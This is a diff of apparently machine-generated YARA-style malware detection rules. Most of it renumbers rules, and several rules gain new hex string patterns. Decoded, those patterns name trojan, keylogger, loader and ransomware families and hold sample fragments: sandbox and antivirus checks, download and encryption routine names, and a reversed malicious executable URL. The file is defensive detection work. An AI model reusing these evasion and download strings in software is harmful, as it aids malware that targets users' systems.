"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -144234,7 +153786,7 @@ rule _InfrastructureShared_12872{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*28521+(#a_6a_2 & 1)*29268+(#a_ff_4 & 1)*-7011) >=2 } -rule _InfrastructureShared_12873{ +rule _InfrastructureShared_13712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -144246,7 +153798,7 @@ rule _InfrastructureShared_12873{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*656+(#a_00_2 & 1)*251) >=3 } -rule _InfrastructureShared_12874{ +rule _InfrastructureShared_13713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -144258,7 +153810,7 @@ rule _InfrastructureShared_12874{ ((#a_77_0 & 1)*16675+(#a_ff_1 & 1)*400+(#a_02_2 & 1)*-28539) >=3 } -rule _InfrastructureShared_12875{ +rule _InfrastructureShared_13714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -144269,7 +153821,7 @@ rule _InfrastructureShared_12875{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116) >=3 } -rule _InfrastructureShared_12876{ +rule _InfrastructureShared_13715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -144281,7 +153833,7 @@ rule _InfrastructureShared_12876{ ((#a_54_0 & 1)*18467+(#a_b9_1 & 1)*400+(#a_90_2 & 1)*0) >=3 } -rule _InfrastructureShared_12877{ +rule _InfrastructureShared_13716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -144293,20 +153845,55 @@ rule _InfrastructureShared_12877{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*4870+(#a_08_2 & 1)*1805) >=3 } -rule _InfrastructureShared_12878{ +rule _InfrastructureShared_13717{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_41_0 = {4f 6e 65 50 6c 61 74 66 6f 72 6d 5f 46 69 6c 65 48 69 70 70 6f 00 01 00 38 01 52 00 69 00 73 00 65 00 63 00 6f 00 64 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2d 00 50 00 72 00 69 00 76 00 61 00 63 00 79 00 2d 00 50 00 6f 00 6c 00 69 00 63 00 79 00 01 00 1a } //20515 + $a_00_2 = {68 00 69 00 70 00 70 00 6f 00 5f 00 44 00 4c 00 4d 00 01 00 24 01 63 00 6c 00 6f 00 75 00 64 00 66 00 72 00 6f 00 6e 00 74 00 2e 00 6e 00 65 00 74 00 2f 00 7a 00 62 00 64 00 01 00 10 01 53 00 6f 00 66 00 74 00 6f 00 6e 00 69 00 63 00 00 00 78 ba 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //108 + $a_53_3 = {4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 43 42 4c 21 4d 54 42 00 02 00 44 03 02 09 11 04 20 a2 01 00 00 20 ea 01 00 00 28 90 01 01 00 00 2b 13 05 07 75 04 00 00 1b 08 16 12 05 20 f2 01 00 00 20 bd 01 00 00 28 90 01 01 00 00 06 28 90 } //14958 + condition: + ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*108+(#a_53_3 & 1)*14958) >=3 + +} +rule _InfrastructureShared_13718{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 43 42 4c 21 4d 54 42 00 02 00 44 03 02 09 11 04 20 a2 01 00 00 20 ea 01 00 00 28 90 01 01 00 00 2b 13 05 07 75 04 00 00 1b 08 16 12 05 20 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=4 + +} +rule _InfrastructureShared_13719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 4b 65 79 73 70 79 2e 41 21 62 69 74 00 01 00 22 01 78 75 69 2e 70 74 6c 6f 67 69 6e 32 2e 71 71 2e 63 6f 6d 2f 63 67 69 2d 62 69 6e 2f 71 6c 6f 67 69 6e 01 00 22 01 53 53 } //16675 - $a_43_1 = {72 6c 46 6f 72 50 54 4c 6f 67 69 6e 2e 53 53 4f 46 6f 72 50 54 4c 6f 67 69 6e 32 02 00 1a 01 64 77 53 53 4f 5f 41 63 63 6f 75 6e 74 5f 64 77 41 63 63 6f 75 6e 74 55 69 6e 02 00 1e 01 71 5f 68 75 6d 6d 65 72 51 74 72 6c 2e 43 72 65 61 74 65 54 58 53 53 4f 44 61 74 61 28 29 00 00 78 ba 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 } //16719 - $a_65_2 = {63 72 79 70 74 2e 53 4b 21 4d 54 42 00 01 00 4d 81 01 56 73 65 75 6e 6d 69 65 61 73 6e 6e 79 75 67 61 65 69 6f 75 79 66 61 6e 65 69 6f 77 79 75 68 6e 61 6f 77 75 69 61 73 6e 33 64 69 61 73 75 6d 66 61 6f 67 75 68 77 73 64 79 61 69 6e 66 77 69 75 61 6e } //12082 - $a_69_3 = {77 66 61 6e 77 66 01 00 0d 81 01 6e 20 69 66 20 79 6f 75 20 6c 69 6b 65 01 00 0f 81 01 73 77 61 6e 6b 5f 74 6f 6f 6c 32 2e 70 64 62 01 00 12 81 01 57 65 72 46 61 75 6c 74 53 65 63 75 72 65 2e 65 78 65 00 00 78 ba 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //25719 + $a_43_1 = {72 6c 46 6f 72 50 54 4c 6f 67 69 6e 2e 53 53 4f 46 6f 72 50 54 4c 6f 67 69 6e 32 02 00 1a 01 64 77 53 53 4f 5f 41 63 63 6f 75 6e 74 5f 64 77 41 63 63 6f 75 6e 74 55 69 6e 02 00 1e 01 71 5f 68 75 6d 6d 65 72 51 74 72 6c 2e 43 72 65 61 74 65 54 58 53 53 4f 44 61 74 61 28 29 00 00 78 ba 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 } //16719 + $a_2f_2 = {63 65 44 69 6e 65 72 2e 41 00 01 00 2a 01 00 49 45 6c 65 76 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 20 63 72 65 61 74 65 64 20 73 75 63 63 65 73 73 66 75 6c } //13934 + $a_00_3 = {01 00 21 01 00 50 72 6f 78 79 20 62 6c 61 6e 6b 65 74 20 73 65 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 00 01 00 23 01 00 42 53 54 52 } //31084 condition: - ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*16719+(#a_65_2 & 1)*12082+(#a_69_3 & 1)*25719) >=4 + ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*16719+(#a_2f_2 & 1)*13934+(#a_00_3 & 1)*31084) >=4 } -rule _InfrastructureShared_12879{ +rule _InfrastructureShared_13720{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 41 63 65 44 69 6e 65 72 2e 41 00 01 00 2a 01 00 49 45 6c 65 76 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 20 63 72 65 61 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 00 01 00 21 01 } //16675 + $a_6f_1 = {79 20 62 6c 61 6e 6b 65 74 20 73 65 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 00 01 00 23 01 00 42 53 54 52 20 61 6c 6c 6f 63 61 74 65 64 20 66 6f 72 20 65 6e 63 72 79 70 74 65 64 20 6b 65 79 2e 00 01 00 14 01 00 42 61 63 6b 75 70 5c 72 65 73 75 6c 74 73 2e 74 78 74 00 00 00 78 ba 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f } //20480 + $a_69_2 = {33 32 2f 54 65 73 63 72 79 70 74 2e 53 4b 21 4d 54 42 00 01 00 4d 81 01 56 73 65 75 6e 6d 69 65 61 73 6e 6e 79 75 67 61 65 69 6f 75 79 66 61 6e 65 69 6f 77 79 75 68 6e 61 6f 77 75 69 61 73 6e 33 64 69 61 73 75 6d 66 61 6f 67 75 68 77 73 64 79 61 69 6e 66 77 69 } //14957 + $a_77_3 = {61 69 75 77 66 61 6e 77 66 01 00 0d 81 01 6e 20 69 66 20 79 6f 75 20 6c 69 6b 65 01 00 0f 81 01 73 77 61 6e 6b 5f 74 6f 6f 6c 32 2e 70 64 62 01 00 12 81 01 57 65 72 46 61 75 6c 74 53 65 63 75 72 65 2e 65 78 65 00 00 78 ba 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 4b 72 79 70 74 2e 42 } //24949 + condition: + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*20480+(#a_69_2 & 1)*14957+(#a_77_3 & 1)*24949) >=4 + +} +rule _InfrastructureShared_13721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -144319,7 +153906,7 @@ rule _InfrastructureShared_12879{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*24937+(#a_6e_2 & 1)*22330+(#a_38_3 & 1)*11577) >=4 } -rule _InfrastructureShared_12880{ +rule _InfrastructureShared_13722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -144331,7 +153918,7 @@ rule _InfrastructureShared_12880{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28265+(#a_3a_3 & 1)*19521) >=4 } -rule _InfrastructureShared_12881{ +rule _InfrastructureShared_13723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -144343,7 +153930,7 @@ rule _InfrastructureShared_12881{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*17477+(#a_10_3 & 1)*-255) >=4 } -rule _InfrastructureShared_12882{ +rule _InfrastructureShared_13724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -144356,7 +153943,7 @@ rule _InfrastructureShared_12882{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*13613+(#a_52_2 & 1)*21320+(#a_36_3 & 1)*19524) >=4 } -rule _InfrastructureShared_12883{ +rule _InfrastructureShared_13725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -144369,7 +153956,7 @@ rule _InfrastructureShared_12883{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*21593+(#a_69_2 & 1)*29285+(#a_6c_3 & 1)*25716) >=4 } -rule _InfrastructureShared_12884{ +rule _InfrastructureShared_13726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -144382,7 +153969,7 @@ rule _InfrastructureShared_12884{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*12851+(#a_00_2 & 1)*4+(#a_57_3 & 1)*26950) >=4 } -rule _InfrastructureShared_12885{ +rule _InfrastructureShared_13727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -144396,7 +153983,7 @@ rule _InfrastructureShared_12885{ ((#a_77_0 & 1)*19491+(#a_33_1 & 1)*12899+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=4 } -rule _InfrastructureShared_12886{ +rule _InfrastructureShared_13728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -144410,7 +153997,7 @@ rule _InfrastructureShared_12886{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-28533+(#a_33_3 & 1)*2304+(#a_c3_4 & 1)*23903+(#a_69_5 & 1)*14958) >=4 } -rule _InfrastructureShared_12887{ +rule _InfrastructureShared_13729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -144426,7 +154013,7 @@ rule _InfrastructureShared_12887{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_ba_6 & 1)*0) >=4 } -rule _InfrastructureShared_12888{ +rule _InfrastructureShared_13730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -144439,7 +154026,7 @@ rule _InfrastructureShared_12888{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_4d_3 & 1)*28257+(#a_6f_4 & 1)*25970) >=5 } -rule _InfrastructureShared_12889{ +rule _InfrastructureShared_13731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -144448,25 +154035,40 @@ rule _InfrastructureShared_12889{ $a_38_1 = {31 66 39 2d 66 34 32 35 2d 34 35 64 34 2d 61 37 35 62 2d 31 63 39 32 31 31 62 35 30 63 63 35 01 00 0c 81 01 67 65 74 5f 66 69 6e 61 6c 55 72 6c 01 00 13 81 01 } //13922 $a_5f_2 = {65 73 6f 75 72 63 65 4d 61 6e 61 67 65 72 01 00 07 81 01 52 65 70 6c 61 63 65 00 00 78 ba 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 35 31 31 21 4d 54 42 00 01 00 2a 03 00 11 07 11 0c 11 06 11 0c 9a 1f 10 7e 90 01 04 28 90 01 04 9c 11 0c 17 58 13 0c 11 0c 11 06 8e 69 } //25959 $a_0d_3 = {11 0d 3a 90 00 01 00 16 01 25 16 11 0a 16 9a a2 25 17 11 } //1278 - $a_a2_4 = {18 20 20 14 00 00 7e 01 00 06 81 01 53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 01 00 25 81 01 24 32 63 66 33 30 37 62 38 2d 39 64 39 64 2d 34 66 32 32 2d 38 33 33 35 2d 30 37 31 35 66 35 30 34 39 35 34 62 00 00 78 ba 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 4e 31 32 33 21 4d 54 42 00 01 00 1f 81 01 66 6f 72 72 65 74 6e 69 6e 67 73 62 6f 67 65 6e 20 66 72 65 6d 6b 61 6c 64 6e 69 6e 67 65 6e } //5898 + $a_a2_4 = {18 20 20 14 00 00 7e 01 00 06 81 01 53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 01 00 25 81 01 24 32 63 66 33 30 37 62 38 2d 39 64 39 64 2d 34 66 32 32 2d 38 33 33 35 2d 30 37 31 35 66 35 30 34 39 35 34 62 00 00 78 ba 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 49 30 31 21 4d 54 42 00 01 00 1f 81 01 73 74 72 62 73 6f 6d 6d 65 73 20 6c 63 64 73 6b 72 6d 20 61 6e 74 69 73 69 70 68 6f 6e 61 6c 01 00 } //5898 condition: ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*13922+(#a_5f_2 & 1)*25959+(#a_0d_3 & 1)*1278+(#a_a2_4 & 1)*5898) >=5 } -rule _InfrastructureShared_12890{ +rule _InfrastructureShared_13732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 35 31 31 21 4d 54 42 00 01 00 2a 03 00 11 07 11 0c 11 06 11 0c 9a 1f 10 7e 90 01 04 28 90 01 04 9c 11 0c 17 58 13 0c 11 0c 11 06 8e 69 fe 04 13 0d 11 0d 3a 90 00 01 00 } //18467 $a_16_1 = {0a 16 9a a2 25 17 11 0a 17 9a a2 25 18 20 20 14 00 00 7e 01 00 06 81 01 53 70 6c 69 74 00 01 00 07 81 01 54 6f } //278 - $a_65_2 = {01 00 25 81 01 24 32 63 66 33 30 37 62 38 2d 39 64 39 64 2d 34 66 32 32 2d 38 33 33 35 2d 30 37 31 35 66 35 30 34 39 35 34 62 00 00 78 ba 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 4e 31 32 33 21 4d 54 42 00 01 00 1f 81 01 66 6f 72 72 65 74 6e 69 6e 67 73 62 6f 67 65 6e 20 66 72 65 6d 6b 61 } //31042 - $a_69_3 = {67 65 6e 01 00 09 81 01 6c 61 6e 67 73 68 61 6e 73 01 00 1e 81 01 5c 46 69 6e 69 6e 64 73 74 69 6c 6c 65 6e 64 65 33 37 5c 4b 6c 75 64 67 65 79 2e 56 69 6c 01 00 15 81 01 76 65 64 68 65 66 74 65 64 65 5c 73 65 72 65 6e 61 64 65 72 73 01 00 1c 81 01 66 65 73 74 74 61 6c 65 72 6e 65 5c 54 6f 67 61 73 5c 6f 72 69 62 61 74 69 64 61 } //25708 + $a_65_2 = {01 00 25 81 01 24 32 63 66 33 30 37 62 38 2d 39 64 39 64 2d 34 66 32 32 2d 38 33 33 35 2d 30 37 31 35 66 35 30 34 39 35 34 62 00 00 78 ba 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 49 30 31 21 4d 54 42 00 01 00 1f 81 01 73 74 72 62 73 6f 6d 6d 65 73 20 6c 63 64 73 6b 72 6d 20 61 6e 74 69 73 69 } //31042 + $a_6e_3 = {6c 01 00 1e 81 01 72 65 64 69 73 63 6f 76 65 72 69 6e 67 20 61 6c 6c 69 61 6e 63 65 66 72 69 65 2e 65 78 65 01 00 19 81 01 64 61 67 73 75 64 66 6c 75 67 74 65 72 73 20 72 65 6d 75 6c 61 64 65 6e 73 01 00 13 81 01 66 72 65 64 65 72 69 6b 73 62 65 72 67 65 72 2e 69 6e 69 01 00 10 81 01 73 74 72 69 64 73 6b 72 66 74 65 72 2e 63 6f 6d } //26736 + $a_ba_4 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 4e 31 32 33 21 4d 54 42 00 01 00 1f 81 01 66 6f 72 72 65 74 6e 69 6e 67 73 62 6f 67 65 6e 20 66 72 65 6d 6b 61 6c 64 6e 69 6e 67 65 6e 01 00 09 81 01 6c 61 6e 67 73 68 61 6e 73 01 00 1e 81 01 5c 46 69 6e 69 6e 64 73 74 69 6c 6c 65 6e 64 65 33 37 5c 4b 6c 75 64 67 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_16_1 & 1)*278+(#a_65_2 & 1)*31042+(#a_69_3 & 1)*25708) >=5 + ((#a_54_0 & 1)*18467+(#a_16_1 & 1)*278+(#a_65_2 & 1)*31042+(#a_6e_3 & 1)*26736+(#a_ba_4 & 1)*0) >=5 } -rule _InfrastructureShared_12891{ +rule _InfrastructureShared_13733{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 49 30 31 21 4d 54 42 00 01 00 1f 81 01 73 74 72 62 73 6f 6d 6d 65 73 20 6c 63 64 73 6b 72 6d 20 61 6e 74 69 73 69 70 68 6f 6e 61 6c 01 00 1e 81 01 72 65 64 69 73 63 6f 76 65 72 69 6e 67 20 61 6c } //18467 + $a_6e_1 = {65 66 72 69 65 2e 65 78 65 01 00 19 81 01 64 61 67 73 75 64 66 6c 75 67 74 65 72 73 20 72 65 6d 75 6c 61 64 65 6e 73 01 00 13 81 01 66 72 65 64 65 72 69 6b 73 62 65 72 67 65 72 2e 69 6e 69 01 00 10 81 01 73 74 72 69 64 73 6b 72 66 74 65 72 2e 63 6f 6d 00 00 78 ba 00 00 05 00 05 00 05 00 21 } //26988 + $a_54_2 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 4e 31 32 33 21 4d 54 42 00 01 00 1f 81 01 66 6f 72 72 65 74 6e 69 6e 67 73 62 6f 67 65 6e 20 66 72 65 6d 6b 61 6c 64 6e 69 6e 67 65 6e 01 00 09 81 01 6c 61 6e 67 73 68 61 6e 73 01 00 1e 81 01 } //18467 + $a_6e_3 = {6e 64 73 74 69 6c 6c 65 6e 64 65 33 37 5c 4b 6c 75 64 67 65 79 2e 56 69 6c 01 00 15 81 01 76 65 64 68 65 66 74 65 64 65 5c 73 65 72 65 6e 61 64 65 72 73 01 00 1c 81 01 66 65 73 74 74 61 6c 65 72 6e 65 5c 54 6f 67 61 73 5c 6f 72 69 62 61 74 69 64 61 65 00 00 78 ba 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 } //18012 + $a_2f_4 = {75 6c 6f 61 64 65 72 2e 4b 48 48 55 31 32 33 21 4d 54 42 00 01 00 10 81 01 70 68 79 73 69 63 6b 79 20 69 6c 73 65 62 65 74 01 00 25 81 01 6f 6d 73 76 } //13166 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26988+(#a_54_2 & 1)*18467+(#a_6e_3 & 1)*18012+(#a_2f_4 & 1)*13166) >=5 + +} +rule _InfrastructureShared_13734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -144480,7 +154082,7 @@ rule _InfrastructureShared_12891{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*18012+(#a_2f_2 & 1)*13166+(#a_64_3 & 1)*28018+(#a_6f_4 & 1)*29285) >=5 } -rule _InfrastructureShared_12892{ +rule _InfrastructureShared_13735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -144494,7 +154096,7 @@ rule _InfrastructureShared_12892{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27497+(#a_46_2 & 1)*21283+(#a_83_3 & 1)*400+(#a_90_4 & 1)*17606) >=5 } -rule _InfrastructureShared_12893{ +rule _InfrastructureShared_13736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -144508,7 +154110,7 @@ rule _InfrastructureShared_12893{ ((#a_46_0 & 1)*21283+(#a_83_1 & 1)*400+(#a_90_2 & 1)*17606+(#a_c0_3 & 1)*257+(#a_55_4 & 1)*21280) >=5 } -rule _InfrastructureShared_12894{ +rule _InfrastructureShared_13737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -144523,7 +154125,7 @@ rule _InfrastructureShared_12894{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*20993+(#a_3a_2 & 1)*19521+(#a_01_3 & 1)*17778+(#a_4d_4 & 1)*28257+(#a_63_5 & 1)*27234) >=5 } -rule _InfrastructureShared_12895{ +rule _InfrastructureShared_13738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -144539,7 +154141,7 @@ rule _InfrastructureShared_12895{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*-32750+(#a_4c_2 & 1)*20308+(#a_65_3 & 1)*27756+(#a_21_4 & 1)*13383+(#a_73_5 & 1)*18533+(#a_52_6 & 1)*21320) >=5 } -rule _InfrastructureShared_12896{ +rule _InfrastructureShared_13739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -144554,7 +154156,7 @@ rule _InfrastructureShared_12896{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_e8_2 & 1)*18614+(#a_65_3 & 1)*26957+(#a_6c_4 & 1)*28005+(#a_00_5 & 1)*99) >=6 } -rule _InfrastructureShared_12897{ +rule _InfrastructureShared_13740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -144569,7 +154171,7 @@ rule _InfrastructureShared_12897{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28015+(#a_34_2 & 1)*28265+(#a_65_3 & 1)*25460+(#a_54_4 & 1)*21076+(#a_00_5 & 1)*10) >=6 } -rule _InfrastructureShared_12898{ +rule _InfrastructureShared_13741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -144585,7 +154187,7 @@ rule _InfrastructureShared_12898{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*30054+(#a_6a_2 & 1)*29268+(#a_00_3 & 1)*105+(#a_00_4 & 1)*21581+(#a_73_5 & 1)*25974+(#a_5f_6 & 1)*25461) >=7 } -rule _InfrastructureShared_12899{ +rule _InfrastructureShared_13742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -144600,7 +154202,7 @@ rule _InfrastructureShared_12899{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*109+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_ba_5 & 1)*0+(#a_42_6 & 1)*-32488) >=7 } -rule _InfrastructureShared_12900{ +rule _InfrastructureShared_13743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -144615,7 +154217,7 @@ rule _InfrastructureShared_12900{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26946+(#a_69_2 & 1)*14956+(#a_5f_3 & 1)*25968+(#a_67_4 & 1)*12108+(#a_62_6 & 1)*384) >=7 } -rule _InfrastructureShared_12901{ +rule _InfrastructureShared_13744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -144624,44 +154226,33 @@ rule _InfrastructureShared_12901{ $a_70_1 = {6d 66 75 63 6b 00 01 00 0e 01 58 61 70 65 5f 5f 5f 6c 6f 61 64 69 6e 67 01 00 0e 01 41 00 46 00 4b 00 2d 00 42 00 6f 00 74 00 01 00 10 01 43 00 68 00 61 00 74 00 2d 00 42 00 6f 00 74 00 05 00 12 01 5c 52 65 6c 65 61 73 65 5c 58 61 70 65 2e 70 64 62 00 00 00 78 ba 00 00 07 00 07 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 } //24436 $a_73_2 = {61 2e 47 42 21 4d 54 42 00 01 00 22 80 01 53 65 6c 65 63 74 20 2a 20 66 72 6f 6d 20 57 69 6e 33 32 5f 43 6f 6d 70 75 74 65 72 53 79 73 74 65 6d 01 00 0a 80 01 56 69 72 74 75 61 6c 42 6f 78 01 00 0b 80 01 53 62 69 65 44 6c 6c 2e 64 6c 6c 01 00 06 80 01 56 6d 77 61 72 65 01 00 07 80 01 41 76 61 73 74 55 49 01 00 05 80 01 41 56 47 } //25959 $a_00_3 = {07 } //18773 - $a_74_4 = {72 74 75 70 01 00 08 80 01 56 69 64 65 6f 4c 41 4e 01 00 0c 80 01 43 72 65 61 74 65 4f 62 6a 65 63 74 00 00 78 ba 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 56 4e 21 4d 54 42 00 02 00 } //384 - $a_28_5 = {00 00 } //275 - $a_2b_6 = {00 0a 06 6f 2c 00 00 0a 2a 02 00 22 01 03 28 42 00 00 0a 0b 06 16 73 43 00 00 0a 0c 08 07 6f 44 00 00 0a 20 a0 86 01 00 } //2570 + $a_74_4 = {72 74 75 70 01 00 08 80 01 56 69 64 65 6f 4c 41 4e 01 00 0c 80 01 43 72 65 61 74 65 4f 62 6a 65 63 74 00 00 78 ba 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4b 32 30 38 38 } //384 + $a_42_5 = {01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 0f 81 01 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 07 81 01 52 65 76 65 72 73 65 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0b 81 01 54 6f 43 68 61 72 41 } //19745 + $a_79_6 = {00 09 81 01 73 61 64 73 61 64 73 61 64 01 00 1d 81 01 65 78 65 2e 6f 6f 63 2f 61 63 2e 73 65 6d 6f 68 6e 65 6d 75 6c 2f 2f 3a 73 70 